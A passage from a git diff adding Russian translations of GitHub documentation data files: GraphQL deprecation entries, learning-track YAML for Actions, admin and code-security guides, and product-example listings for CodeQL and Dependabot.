'`seats` будет удален. Взамен используйте EnterpriseBillingInfo.totalLicenses.' + reason: '`seats` will be replaced with `totalLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: UnassignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: Sponsorship.maintainer + description: '`maintainer` будет удален. Взамен рекомендуется использовать `Sponsorship.sponsorable`.' + reason: '`Sponsorship.maintainer` will be removed.' + date: 2020-04-01T00:00:00+00:00 + criticality: breaking + owner: antn +- location: EnterprisePendingMemberInvitationEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All pending members consume a license + date: 2020-07-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: Issue.timeline + description: '`timeline` будет удален. Взамен используйте Issue.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: PullRequest.timeline + description: '`timeline` будет удален. Взамен используйте PullRequest.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: Sponsorship.sponsor + description: '`sponsor` будет удален. Взамен рекомендуется использовать `Sponsorship.sponsorEntity`.' + reason: '`Sponsorship.sponsor` will be removed.' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: nholden +- location: EnterpriseMemberEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All members consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterpriseOutsideCollaboratorEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All outside collaborators consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: MergeStateStatus.DRAFT + description: '`DRAFT` будет удален. Взамен используйте PullRequest.isDraft.' + reason: DRAFT state will be removed from this enum and `isDraft` should be used instead + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: nplasterer +- location: PackageType.DOCKER + description: '`DOCKER` будет удален.' + reason: DOCKER will be removed from this enum as this type will be migrated to only be used by the Packages REST API. + date: 2021-06-21 + criticality: breaking + owner: reybard +- location: ReactionGroup.users + description: '`users` будет удален. Взамен используйте поле `reactors`.' + reason: Reactors can now be mannequins, bots, and organizations. + date: 2021-10-01T00:00:00+00:00 + criticality: breaking + owner: synthead +- location: PullRequest.viewerCanOverrideMergeQueue + description: '`viewerCanOverrideMergeQueue` будет удален. Взамен используйте PullRequest.viewerCanMergeAsAdmin.' + reason: '`viewer_can_override_merge_queue` will be removed' + date: 2022-04-01 + criticality: breaking + owner: cbeaman +- location: Repository.defaultMergeQueue + description: '`defaultMergeQueue` будет удален. Взамен рекомендуется использовать `Repository.mergeQueue`.' + reason: '`defaultMergeQueue` will be removed.' + date: 2022-04-01 + criticality: breaking + owner: colinshum +- location: AddPullRequestToMergeQueueInput.branch + description: '`branch` будет удален.' + reason: PRs are added to the merge queue for the base branch, the `branch` argument is now a no-op + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: jhunschejones +- location: Enterprise.userAccounts + description: '`userAccounts` будет удален. Взамен используйте поле `Enterprise.members`.' + reason: The `Enterprise.userAccounts` field is being removed. + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: jdennes +- location: Query.sponsorables.dependencyEcosystem + description: '`dependencyEcosystem` будет удален. Взамен используйте аргумент экосистемы.' + reason: The type is switching from SecurityAdvisoryEcosystem to DependencyGraphEcosystem. + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: cheshire137 diff --git a/translations/ru-RU/data/learning-tracks/README.md b/translations/ru-RU/data/learning-tracks/README.md new file mode 100644 index 000000000000..b58d0ee02b30 --- /dev/null +++ b/translations/ru-RU/data/learning-tracks/README.md @@ -0,0 +1,64 @@ +--- +ms.openlocfilehash: dcc6cf1e8adf15c4997d4d62cd34bde99f7d37cd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145109723" +--- +# Обучающие курсы (также называемые схемами обучения) + +Обучающие курсы — это коллекция статей, которые помогут вам освоить определенную тему. Доступны курсы для каждого продукта. Пример см. в разделе https://docs.github.com/en/actions/guides. + +## Принцип работы + +Данные обучающего курса по продукту указываются в двух местах: + +1. Простой массив имен обучающих курсов указывается на титульном листе страницы индексов руководств по продуктам. + + Например, для `content/actions/guides/index.md`: + ``` + learningTracks: + - getting_started + - continuous_integration + - continuous_deployment + - deploy_to_the_cloud + - hosting_your_own_runners + - create_actions + ``` + +2. Дополнительные данного для каждого курса указываются в YAML-файле с именем **продукта** в каталоге `data`. + + Например, в `data/learning-tracks/actions.yml` каждый элемент из массива `learningTracks` файла содержимого представлен дополнительными данными, такими как `title`, `description`, и массивом ссылок `guides`. + + Один учебный курс в этом YAML-файле **для каждой версии** должен быть назначен "рекомендуемым" с помощью `featured_track: true`, в результате чего он будет отображаться в верхней части страницы руководств по продукту. Если это свойство отсутствует, тест завершится ошибкой. + + Это свойство `featured_track` может иметь простое логическое значение (например, `featured_track: true`) или быть строкой, включающей инструкции управления версиями (например, `featured_track: '{% ifversion fpt %}true{% else %}false{% endif %}'`). Если вы используете управление версиями, у вас будет несколько `featured_track` для каждого YML-файла, но в каждой поддерживаемой версии должен отображаться только один. Тест завершится ошибкой, если для каждой версии имеется больше или меньше одной ссылки на рекомендуемый курс. + +## Управление версиями + +Управление версиями для обучающих курсов обрабатывается во время отрисовки страницы. Код находится в файле [`lib/learning-tracks.js`](lib/learning-tracks.js), который вызывается с помощью метода `page.render()`. Затем `components/guides` отрисовывает обработанные обучающие курсы. + +Условные выражения Liquid **не** должны использоваться для управления версиями в YAML-файле для руководств. Автоматически отрисовывается только руководства по обучающим курсам, применяемые к текущей версии. Если курсы с руководствами, принадлежащими текущей версии, отсутствуют, раздел курсов не будет отображаться вообще. + +Кроме того, для данных YML-файлов обучающих курсов поддерживается явное управление версиями. Формат и допустимые значения совпадают с форматом и значениями [свойства версий титульного листа](/content#versions). + +Пример: + +``` +learning_track_name: + title: 'Learning track title' + description: 'Learning track description' + featured_track: true + versions: + ghes: '>=3.0' + guides: + - /path/to/guide1 + - /path/to/guide2 +``` + +Если свойство `versions` не включено, предполагается, что курс доступен во всех версиях. + +## Принудительное применение схем + +Схема проверки YAML обучающего курса находится в [`tests/helpers/schemas/learning-tracks-schema.js`](tests/helpers/schemas/learning-tracks-schema.js) и реализуется с помощью [`tests/content/lint-files.js`](tests/content/lint-files.js). diff --git a/translations/ru-RU/data/learning-tracks/actions.yml b/translations/ru-RU/data/learning-tracks/actions.yml new file mode 100644 index 000000000000..8e6d54e8710e --- /dev/null +++ b/translations/ru-RU/data/learning-tracks/actions.yml @@ -0,0 +1,64 @@ +getting_started: + title: 'Get started with {% data variables.product.prodname_actions %}' + description: 'Discover the possibilities of {% data variables.product.prodname_actions %} by creating your first workflow.' + guides: + - /actions/learn-github-actions/introduction-to-github-actions + - /actions/learn-github-actions/finding-and-customizing-actions + - /actions/learn-github-actions/essential-features-of-github-actions + - /actions/learn-github-actions/managing-complex-workflows + - /actions/learn-github-actions/reusing-workflows + - /actions/security-guides/security-hardening-for-github-actions + featured_track: true +adopting_github_actions_for_your_enterprise_ghec: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + versions: + ghec: '*' + guides: + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /actions/security-guides/security-hardening-for-github-actions + - /billing/managing-billing-for-github-actions/about-billing-for-github-actions +adopting_github_actions_for_your_enterprise_ghes_and_ghae: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + versions: + ghes: '*' + ghae: '*' + guides: + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise + - /actions/security-guides/security-hardening-for-github-actions + - /billing/managing-billing-for-github-actions/about-billing-for-github-actions +hosting_your_own_runners: + title: 'Host your own runners' + description: 'You can create self-hosted runners to run workflows in a highly customizable environment.' + guides: + - /actions/hosting-your-own-runners/about-self-hosted-runners + - /actions/hosting-your-own-runners/adding-self-hosted-runners + - /actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service + - /actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners + - /actions/hosting-your-own-runners/using-labels-with-self-hosted-runners + - /actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow + - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups + - /actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners +create_actions: + title: 'Create an action' + description: 'Do you have an idea for a new action? Have you built something custom for your project? Learn how to build shareable actions and publish them to GitHub Marketplace.' + guides: + - /actions/creating-actions/about-custom-actions + - /actions/creating-actions/creating-a-docker-container-action + - /actions/creating-actions/creating-a-javascript-action + - /actions/creating-actions/creating-a-composite-action + - /actions/creating-actions/metadata-syntax-for-github-actions + - /actions/creating-actions/dockerfile-support-for-github-actions + - /actions/creating-actions/setting-exit-codes-for-actions + - /actions/creating-actions/publishing-actions-in-github-marketplace diff --git a/translations/ru-RU/data/learning-tracks/admin.yml b/translations/ru-RU/data/learning-tracks/admin.yml new file mode 100644 index 000000000000..6c84460f8878 --- /dev/null +++ b/translations/ru-RU/data/learning-tracks/admin.yml @@ -0,0 +1,139 @@ +get_started_with_github_ae: + title: 'Get started with {% data variables.product.prodname_ghe_managed %}' + description: 'Learn about {% data variables.product.prodname_ghe_managed %} and complete the initial configuration of a new enterprise.' + featured_track: true + versions: + ghae: '*' + guides: + - /admin/overview/about-github-ae + - /admin/overview/about-data-residency + - /admin/configuration/configuring-your-enterprise/deploying-github-ae + - /admin/configuration/initializing-github-ae + - /admin/configuration/restricting-network-traffic-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-github-ae + +deploy_an_instance: + title: 'Deploy an instance' + description: 'Install {% data variables.product.prodname_ghe_server %} on your platform of choice and configure SAML authentication.' + featured_track: true + versions: + ghes: '*' + guides: + - /admin/overview/system-overview + - /admin/installation + - /admin/configuration/accessing-the-management-console + - /admin/configuration/configuring-a-hostname + - /admin/authentication/using-saml + - /admin/configuration/site-admin-dashboard + +upgrade_your_instance: + title: 'Upgrade your instance' + description: 'Test upgrades in staging, notify users of maintenance, and upgrade your instance for the latest features and security updates.' + versions: + ghes: '*' + guides: + - /admin/enterprise-management/enabling-automatic-update-checks + - /admin/installation/setting-up-a-staging-instance + - /admin/enterprise-management/upgrade-requirements + - /admin/user-management/customizing-user-messages-for-your-enterprise + - /admin/configuration/enabling-and-scheduling-maintenance-mode + - /admin/enterprise-management/upgrading-github-enterprise-server + +adopting_github_actions_for_your_enterprise_ghec: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + versions: + ghec: '*' + guides: + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /actions/security-guides/security-hardening-for-github-actions + - /billing/managing-billing-for-github-actions/about-billing-for-github-actions + +adopting_github_actions_for_your_enterprise_ghes_and_ghae: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + versions: + ghes: '*' + ghae: '*' + guides: + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise + - /actions/security-guides/security-hardening-for-github-actions + - /billing/managing-billing-for-github-actions/about-billing-for-github-actions + +increase_fault_tolerance: + title: 'Increase the fault tolerance of your instance' + description: "Back up your developers' code and configure high availability (HA) to ensure the reliability of {% data variables.product.prodname_ghe_server %} in your environment." + versions: + ghes: '*' + guides: + - /admin/configuration/accessing-the-administrative-shell-ssh + - /admin/configuration/configuring-backups-on-your-appliance + - /admin/enterprise-management/about-high-availability-configuration + - /admin/enterprise-management/creating-a-high-availability-replica + - /admin/configuration/using-github-enterprise-server-with-a-load-balancer + +improve_security_of_your_instance: + title: 'Improve the security of your instance' + description: "Review network configuration and security features, and harden the instance running {% data variables.product.prodname_ghe_server %} to protect your enterprise's data." + versions: + ghes: '*' + guides: + - /admin/configuration/enabling-private-mode + - /admin/guides/installation/configuring-tls + - /admin/configuration/troubleshooting-ssl-errors + - /admin/configuration/enabling-subdomain-isolation + - /admin/configuration/accessing-the-administrative-shell-ssh + - /admin/configuration/network-ports + - /admin/configuration/configuring-built-in-firewall-rules + - /admin/user-management/best-practices-for-user-security + - /admin/user-management/promoting-or-demoting-a-site-administrator + +configure_github_actions: + title: 'Configure {% data variables.product.prodname_actions %}' + description: 'Allow your developers to create, automate, customize, and execute powerful software development workflows for {% data variables.location.product_location %} with {% data variables.product.prodname_actions %}.' + versions: + ghes: '*' + guides: + - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise + - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect + - /admin/github-actions/high-availability-for-github-actions + - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled + - /admin/github-actions/using-a-staging-environment + +configure_github_advanced_security: + title: 'Configure {% data variables.product.prodname_GH_advanced_security %}' + description: "Improve the quality and security of your developers' code with {% data variables.product.prodname_GH_advanced_security %}." + versions: + ghes: '*' + guides: + - /admin/advanced-security/about-licensing-for-github-advanced-security + - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise + - /admin/advanced-security/configuring-code-scanning-for-your-appliance + - /admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance + - /admin/advanced-security/configuring-secret-scanning-for-your-appliance + - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise + +get_started_with_your_enterprise_account: + title: 'Get started with your enterprise account' + description: 'Get started with your enterprise account to centrally manage multiple organizations on {% data variables.product.product_name %}.' + versions: + ghes: '*' + ghec: '*' + guides: + - /admin/overview/about-enterprise-accounts + - /billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise + - /admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise + - /admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise + - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies diff --git a/translations/ru-RU/data/learning-tracks/code-security.yml b/translations/ru-RU/data/learning-tracks/code-security.yml new file mode 100644 index 000000000000..ae9e29ccb404 --- /dev/null +++ b/translations/ru-RU/data/learning-tracks/code-security.yml @@ -0,0 +1,131 @@ +# Feature available only on dotcom +security_advisories: + title: 'Fix and disclose a security vulnerability' + description: 'Using repository security advisories to privately fix a reported vulnerability and get a CVE.' + featured_track: '{% ifversion fpt or ghec %}true{% else %}false{% endif %}' + guides: + - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/security-advisories/global-security-advisories/about-the-github-advisory-database + - /code-security/security-advisories/global-security-advisories/about-global-security-advisories + - /code-security/security-advisories/repository-security-advisories/about-repository-security-advisories + - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories + - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability + - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities + - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository + - /code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory + - /code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory + - /code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability + - /code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory + - /code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory + - /code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory + - /code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory + +# Feature available on dotcom and GHES 3.3+, so articles available on GHAE and earlier GHES hidden to hide the learning track +dependabot_alerts: + title: 'Get notifications for insecure dependencies' + description: 'Set up Dependabot to alert you to new vulnerabilities{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} in your dependencies.' + guides: + - /code-security/dependabot/dependabot-alerts/about-dependabot-alerts + - '{% ifversion fpt or ghec or ghes %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}' + - /code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts + - /code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts + - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates + - /code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies + - /code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors + +# Feature available on dotcom and GHES 3.3+, so articles available on GHAE and earlier GHES hidden to hide the learning track +dependabot_security_updates: + title: 'Get pull requests to update your vulnerable dependencies' + description: 'Set up Dependabot to create pull requests when new vulnerabilities are reported.' + guides: + - /code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates + - /code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates + - '{% ifversion fpt or ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies{% endif %}' + - '{% ifversion fpt or ghec or ghes %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}' + - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates + - '{% ifversion fpt or ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies{% endif %}' + +# Feature available only on dotcom and GHES 3.3+ +dependency_version_updates: + title: 'Keep your dependencies up-to-date' + description: 'Use Dependabot to check for new releases and create pull requests to update your dependencies.' + guides: + - /code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates + - /code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates + - /code-security/dependabot/dependabot-version-updates/customizing-dependency-updates + - /code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file + - /code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot + - /code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions + - /code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates + - /code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot + - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates + - /code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors + +# Feature available in GHEC, GHES 3.0 up, and GHAE. Feature limited on FPT so hidden there. +secret_scanning: + title: 'Scan for secrets' + description: 'Set up secret scanning to guard against accidental check-ins of tokens, passwords, and other secrets to your repository.' + guides: + - '{% ifversion not fpt %}/code-security/secret-scanning/about-secret-scanning{% endif %}' + - '{% ifversion not fpt %}/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories{% endif %}' + - '{% ifversion not fpt %}/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning{% endif %}' + - '{% ifversion not fpt %}/code-security/secret-scanning/managing-alerts-from-secret-scanning{% endif %}' + - '{% ifversion not fpt %}/code-security/secret-scanning/secret-scanning-patterns{% endif %}' + - '{% ifversion secret-scanning-push-protection %}/code-security/secret-scanning/protecting-pushes-with-secret-scanning{% endif %}' + - '{% ifversion secret-scanning-push-protection %}/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection{% endif %}' + +# Security overview feature available in GHEC and GHES 3.2+, so other articles hidden to hide the learning path in other versions +security_alerts: + title: 'Explore and manage security alerts' + description: 'Learn where to find and resolve security alerts.' + guides: + - '{% ifversion ghec or ghes %}/code-security/security-overview/about-the-security-overview {% endif %}' + - '{% ifversion ghec or ghes %}/code-security/security-overview/viewing-the-security-overview {% endif %}' + - '{% ifversion ghec or ghes %}/code-security/secret-scanning/managing-alerts-from-secret-scanning {% endif %}' + - '{% ifversion ghec or ghes %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository{% endif %}' + - '{% ifversion ghec or ghes %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests{% endif %}' + - '{% ifversion ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository{% endif %}' + +# Feature available in all versions from GHES 2.22 up +code_security_actions: + title: 'Run code scanning with GitHub Actions' + description: 'Check your default branch and every pull request to keep vulnerabilities and errors out of your repository.' + featured_track: '{% ifversion ghae or ghes %}true{% else %}false{% endif %}' + guides: + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow + +# Feature available in all versions from GHES 2.22 up +code_security_integration: + title: 'Integrate with code scanning' + description: 'Upload code analysis results from third-party systems to GitHub using SARIF.' + guides: + - /code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning + - /code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github + - /code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning + - /rest/reference/code-scanning + +# Feature available in all versions from GHES 2.22 up +code_security_ci: + title: 'Run CodeQL code scanning in your CI' + description: 'Set up CodeQL within your existing CI and upload results to GitHub code scanning.' + guides: + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system + +# Feature available in all versions +end_to_end_supply_chain: + title: 'End-to-end supply chain' + description: 'How to think about securing your user accounts, your code, and your build process.' + guides: + - /code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview + - /code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts + - /code-security/supply-chain-security/end-to-end-supply-chain/securing-code + - /code-security/supply-chain-security/end-to-end-supply-chain/securing-builds diff --git a/translations/ru-RU/data/product-examples/README.md b/translations/ru-RU/data/product-examples/README.md new file mode 100644 index 000000000000..d9df7299ff72 --- /dev/null +++ b/translations/ru-RU/data/product-examples/README.md @@ -0,0 +1,50 @@ +--- +ms.openlocfilehash: 51fbe18842922b1c8fad2535d2f67230413933c2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145069616" +--- +# Примеры определения целевого продукта + +Страницы, использующие макет `product-landing`, могут дополнительно включать раздел `Examples`. В настоящее время поддерживаются три типа примеров: + +1. Примеры кода см. в https://docs.github.com/en/codespaces#code-examples. + +2. Примеры сообщества см. в https://docs.github.com/en/discussions#community-examples. + +3. Примеры пользователей см. в https://docs.github.com/en/sponsors#community-examples. + +## Принцип работы + +Пример данных для каждого продукта определен в `data/product-landing-examples` в именованном подкаталоге для **продукта** и именованном YML-файле для **типа примера** (например, `data/product-examples/sponsors/user-examples.yml` или `data/product-examples/codespaces/code-examples.yml`). В настоящее время поддерживается только один тип примера для каждого продукта. + +### Управление версиями + +На данный момент управление версиями поддерживается только в примерах кода. Если пример блока должен быть доступен во **всех** версиях, вам не потребуется ничего особенного. Но если пример блока должен быть доступен только в некоторых версиях, можно добавить следующее предложение `versions`. + +``` +- title: Dependabot version update PR + description: Example pull request generated by the Dependabot version updates configuration in the Super linter repository. + href: /github/super-linter/pull/1398 + languages: + tags: + - Dependabot + - Version updates + - Pull requests + versions: + fpt: '*' + ``` + +где синтаксис для `versions` совпадает со свойством [frontmatter`versions`](content/README.md) и может поддерживать нотацию semver. + +## Отрисовка + +В объект добавляется пример данных в объект `context` в `middleware/contextualizers/product-examples.js`. + +Затем `components/landing` отрисовывает данные. + +## Принудительное применение схем + +TODO diff --git a/translations/ru-RU/data/product-examples/code-security/code-examples.yml b/translations/ru-RU/data/product-examples/code-security/code-examples.yml new file mode 100644 index 000000000000..2af4a7db9706 --- /dev/null +++ b/translations/ru-RU/data/product-examples/code-security/code-examples.yml @@ -0,0 +1,86 @@ +# Code scanning configurations +- title: Проверка кода CodeQL в Майкрософт + description: Изучите примеры рабочего процесса проверки кода для действий CodeQL из репозитория Майкрософт с открытым кодом. + href: /microsoft/opensource.microsoft.com/blob/main/.github/workflows/codeql-analysis.yml + languages: + - JavaScript + tags: + - CodeQL + - Проверка кода + - Действия GitHub +- title: Проверка кода CodeQL Adversarial Robustness Toolbox (ART) + description: Изучите примеры рабочего процесса проверки кода для действий CodeQL из репозитория Trusted AI. + href: /Trusted-AI/adversarial-robustness-toolbox/blob/main/.github/workflows/codeql-analysis.yml + languages: + - python + tags: + - CodeQL + - Проверка кода + - Действия GitHub + +# Security policies +- title: Шаблон политики безопасности Майкрософт + description: Изучите пример политики безопасности + href: /microsoft/repo-templates/blob/main/shared/SECURITY.md + tags: + - Политика безопасности +- title: Политика безопасности Electron + description: Изучите пример политики безопасности + href: /electron/electron/blob/master/SECURITY.md + tags: + - Политика безопасности + +# Example of security advisory in a major product +- title: Рекомендации по безопасности для Rails + description: "Рекомендации по безопасности, опубликованные Rails, для ошибки CVE-2020-15169." + href: /rails/rails/security/advisories/GHSA-cfjv-5498-mph5 + tags: + - Рекомендации по безопасности + +# Sample scripts for enabling Dependabot alerts and security updates across a whole organization +- title: Автоматическое включение оповещений Dependabot и обновлений системы безопасности + description: Примеры скриптов для включения оповещений Dependabot и обновлений системы безопасности во всей организации. + href: /github/enable-security-alerts-sample + tags: + - Dependabot + - видны узлы + - Обновления для системы безопасности + - План + - Сценарии + versions: + fpt: '*' + ghec: '*' + ghes: '>=3.3' + +# Dependabot configuration only relevant to GitHub.com and GHES 3.3+ +# Convert "languages" to "package-ecosystems" for Dependabot configurations +- title: Конфигурация анализатора кода Super-Linter + description: Изучите примеры конфигурации обновлений версии Dependabot из репозитория анализатора кода Super-Linter. + href: /github/super-linter/blob/master/.github/dependabot.yml + languages: + - github-actions + - npm + - bundler + - docker + - pip + tags: + - Dependabot + - Обновления версий + - Конфигурация + versions: + fpt: '*' + ghec: '*' + ghes: '>=3.3' + +- title: Запрос на вытягивание обновления версии Dependabot + description: "Изучите пример запроса на вытягивание, созданного конфигурацией обновлений версии Dependabot в репозитории анализатора кода Super-Linter." + href: /github/super-linter/pull/1398 + languages: + tags: + - Dependabot + - Обновления версий + - Запросы на 